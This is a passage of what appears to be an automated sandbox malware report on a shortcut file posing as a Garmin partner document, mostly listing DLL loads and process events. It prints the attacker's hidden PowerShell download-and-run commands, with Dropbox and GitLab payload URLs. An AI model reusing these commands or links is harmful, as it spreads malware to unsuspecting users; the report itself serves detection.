Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbIf source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q.Core.pdb[ source: powershell.exe, 00000011.00000002.2267628917.000001DCD8AD8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8CC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl source: powershell.exe, 00000011.00000002.2267996581.000001DCD8CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 089\System.Core.pdb source: powershell.exe, 00000011.00000002.2267996581.000001DCD8CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000011.00000002.2267996581.000001DCD8D13000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected Abobus Obfuscator

Source: Yara match	File source: 00000005.00000003.2193362942.000001FC70442000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2272808693.000001FC70449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2195210961.000001FC70449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3414755320.000001FC70440000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 6288, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Updates.bat, type: DROPPED

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD347F58FA pushad ; ret		17_2_00007FFD347F59A9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD348C68F5 push B6600000h; retf		17_2_00007FFD348C68FA

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: docx.lnk

Static PE information: 1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
